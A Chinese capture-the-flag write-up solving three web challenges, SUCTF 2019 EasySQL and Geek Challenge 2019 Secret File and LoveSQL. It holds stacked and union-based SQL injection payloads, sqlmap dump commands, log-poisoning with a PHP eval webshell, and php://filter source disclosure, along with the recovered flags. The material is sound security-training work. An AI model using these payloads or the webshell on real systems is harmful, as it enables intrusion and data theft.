[SUCTF 2019]EasySQL1


页面中没有有效的信息


采用post提交数据

使用sql注入 首先抓取请求包

利用*标记注入点
使用sql map:
python sqlmap.py -r test.txt –dbs 先查找数据库
然而自动化工具注入失败了


尝试后发现是堆叠注入


表明为flag


貌似进行了过滤

小知识:利用select *,1也可以查看数据库所有项 1会作为新的一列添加到查询结果中

得到flag

[极客大挑战 2019]Secret File1

打开后

点击下方超链接


没有得到有用的信息
抓包测试

发现进行了一次页面重定向 隐藏信息secr3t.php
尝试访问该页面

发现值传递 直接传递参数
GET /secr3t.php?file=flag.php

不能直接看到/secr3t.php?file=/var/log/nginx/access.log 包含日志文件
修改ua为php后门
phpinfo:

<?php eval($_POST['1']); ?>

连接后全是乱码
使用php伪协议
php://filter/read=convert.base64-encode/resource=flag.php
得到编码后的flag

得到flag

[极客大挑战 2019]LoveSQL1


尝试输入admin’or1=’1′

我们一边尝试手工 一边用sqlmap 两者方法都可行:

先看sqlmap:

python sqlmap.py -r test.txt --dbs
跑出五个数据库

python sqlmap.py -r test.txt -D geek –tables跑表

然后直接列出表中元素
python sqlmap.py -r test.txt -D geek -T geekuser –dump

528beb08e09014297d35c4ed6a27758f
这个值是md5哈希后的结构 无法解密 查看另一个表

python sqlmap.py -r test.txt -D geek -T l0ve1ysq1 –dump –thread 9

得到flag
flag{bcff6b28-13b7-4355-bed0-d44a21876fdb}

手动:

username=admin'+order+by+2%23&password=1

测试列数

一共三列 查看回显:

username=1'+union+select+1,2,3%23&password=1

2,3两位置有回显

username=1'+union+select+1,database(),version()%23&password=1
查看数据库以及版本

高版本数据库存在表information_schema
利用该表查找表名
1'+union+select+1,group_concat(TABLE_NAME),3+from+information_schema.TABLES+where+TABLE_SCHEMA=database()%23
group_concat将多个表名逗号分隔连在一起 查找该数据库下所有表
Hello geekuser,l0ve1ysq1!
再通过columns查看列
l0ve1ysq1
1'+union+select+1,group_concat(COLUMN_NAME),3+from+information_schema.COLUMNS+where+table_schema=database()+and+TABLE_NAME='l0ve1ysq1'%23%23是#

直接检索答案
1'+union+select+1,group_concat(username),group_concat(password)+from+l0ve1ysq1%23

得到flag{bcff6b28-13b7-4355-bed0-d44a21876fdb}

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。